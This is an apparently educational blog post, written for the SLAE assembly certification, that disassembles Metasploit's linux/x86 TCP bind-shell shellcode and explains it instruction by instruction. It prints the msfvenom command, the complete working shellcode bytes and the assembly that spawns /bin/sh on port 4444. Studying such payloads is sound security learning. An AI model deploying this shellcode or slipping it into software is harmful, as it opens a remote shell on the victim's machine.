This is an analysis of Metasploit's
linux/x86/shell_bind_tcp shellcode, generated using the following command:
msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 -f c

As seen in the image, msfvenom generated this shellcode:
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
One can use the
ndisasm utility to convert the shellcode to i86 assembly using the syntax shown in the image below (output truncated):

Below I will walk through each block of the formatted i86 assembly code and explain its functionality.
Socket Setup
The first block of code calls the Unix
socket system call, which has the following signature:

This block of Metasploit's generated assembly reads like this:
00000000 31DB xor ebx,ebx
00000002 F7E3 mul ebx
00000004 53 push ebx
00000005 43 inc ebx
00000006 53 push ebx
00000007 6A02 push byte +0x2
00000009 89E1 mov ecx,esp
0000000B B066 mov al,0x66
0000000D CD80 int 0x80
• The EBX register is zeroed via XOR against itself
• EAX is also zeroed by multiplying it against the newly-zeroed EBX
• Parameters for the socket() call are then pushed on the stack in reverse order
◇ 0 for the protocol, which indicates that the default protocol for the provided socket type will should be used.
◇ 1 for the socket type, indicating a stream socket
◇ 2 for the domain, indicating AF_INET or ipv4.
Finally, the code fulfills the requirements for a socket-related system call.
• EAX is loaded with the syscall number 102 for the SOCKETCALL syscall.
• EBX has already been loaded with the value 1, indicating that the desired socket call is socket().
• ECX contains the address of the parameters that have been loaded on the stack.
The system call is then invoked using an interrupt, with the return value implicitly saved in EAX.
The next block of code calls the Unix
bind system call, which has the following signature:

This block of code reads as follows:
0000000F 5B pop ebx
00000010 5E pop esi
00000011 52 push edx
00000012 680200115C push dword 0x5c110002
00000017 6A10 push byte +0x10
00000019 51 push ecx
0000001A 50 push eax
0000001B 89E1 mov ecx,esp
0000001D 6A66 push byte +0x66
0000001F 58 pop eax
00000020 CD80 int 0x80
• EBX is loaded with the correct socket call number (2 for bind)
• An arbitrary value is popped off the stack to readjust the stack pointer
• The values needed to populate the sockaddr structure described in the function signature are pushed onto the stack
◇ 0 or INADDR_ANY for the sockaddr family
◇ 0x5c110002 is actually two values. 5c11 (115c with proper byte significance) is the port 4444. 0002 is the domain type (AF_INET).
• The parameters for the socketcall are pushed onto the stack in reverse order
◇ The size of the sockaddr struct in bytes (16)
◇ The address of the sockaddr struct, in ECX. Note that although ECX was not explicitly modified to contain the address of the sockaddr struct, the pointer in ECX is still correct because of the four pop and push instructions at the beginning of this code block.
◇ The socket descriptor itself, which is still in EAX after return from the last syscall.
• ECX is loaded with the address of the parameters on the stack.
• EAX is loaded with the syscall number 102 for SOCKETCALL.
• The system call is invoked using an interrupt.
The next block of code calls the Unix
listen system call, which has the following signature:

And the Metasploit assembly code:
00000022 894104 mov [ecx+0x4],eax
00000025 B304 mov bl,0x4
00000027 B066 mov al,0x66
00000029 CD80 int 0x80
• The socket parameter is already on the stack at the address stored in ECX
• The backlog parameter (0) is moved to the correct location on the stack
• EAX is loaded with syscall number 102 for SOCKETCALL
• EBX is loaded with socketcall number 4 to indicate the listen function is being called
• The system call is invoked using an interrupt.
The next block of code calls the Unix
accept() system call, which has the following signature:

Assembly:
0000002B 43 inc ebx
0000002C B066 mov al,0x66
0000002E CD80 int 0x80
• EBX is incremented to 5, the proper socketcall number for accept()
• EAX is loaded with syscall number 102 for SOCKETCALL
• The socket descriptor and other parameters are already on the stack
• The system call is invoked using an interrupt.
Note that if you are performing dynamic analysis on this shellcode,
accept will block until a client connects to the server socket or you induce the program to continue execution through other means. Netcat would be an easy way to solve this.
File Descriptor Manipulation
The next block of code contains a loop responsible for calling the dup2 system call several times to duplicate file handles. The purpose of this is essentially to make the socket the standard input, standard output, and standard error handle for the current process. This manipulation is what allows a client connected to the socket to send commands to the shell and view the result of commands from the shell.
dup2 is a standard system call, not a socketcall, so no pointer to arguments is needed; all arguments are stored in general-purpose registers. The function signature is as follows:

00000030 93 xchg eax,ebx
00000031 59 pop ecx
00000032 6A3F push byte +0x3f
00000034 58 pop eax
00000035 CD80 int 0x80
00000037 49 dec ecx
00000038 79F8 jns 0x32
• EBX is loaded with the socket returned from accept().
• ECX is loaded with a value from the top of the stack. This value represents the file descriptor that will be created, and it will be repeatedly decremented to assure that the process's standard error (2) standard output (1) and standard input (0) go to the socket.
• EAX is loaded with the correct system call number 63 for the dup2() function.
• The system call is invoked using an interrupt.
• ECX is decremented.
• The jns (short jump if no sign flag) instruction is used to return to the top of the loop (address 0032 in the above output) if ECX is still a non-negative number.
Shell Execution
The final block of code calls the
execve() system call and replaces the executable image of the current process with "/bin/sh." Since the socket is now the process's standard input, output, and error stream, the socket will be the source of all input to this newly spawned shell and the destination of all output from the shell.
execve has the following function signature:

And Metasploit's generated code:
0000003A 682F2F7368 push dword 0x68732f2f
0000003F 682F62696E push dword 0x6e69622f
00000044 89E3 mov ebx,esp
00000046 50 push eax
00000047 53 push ebx
00000048 89E1 mov ecx,esp
0000004A B00B mov al,0xb
0000004C CD80 int 0x80
• The string "/bin//sh" is pushed onto the stack from end to beginning in the form of two DWORDs full of ASCII hex values.
• EBX is loaded with a pointer to the "/bin/sh" string, satisfying the "filename" parameter.
• The pointer to the "/bin/sh" string, contained in EBX, is pushed onto the stack. The stack pointer is then stored in ECX. This is to satisfy the "argv" parameter above, as it is a Linux convention that when executing a command-line program its first argument is the path to the program's own binary.
• EDX already contains 0; if no "envp" parameter is required, a null pointer can be passed.
• EAX is loaded with the correct system call number, 11 for
execve.
• The system call is invoked using an interrupt.
That's all--complete TCP bind shellcode.
---
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE - 1353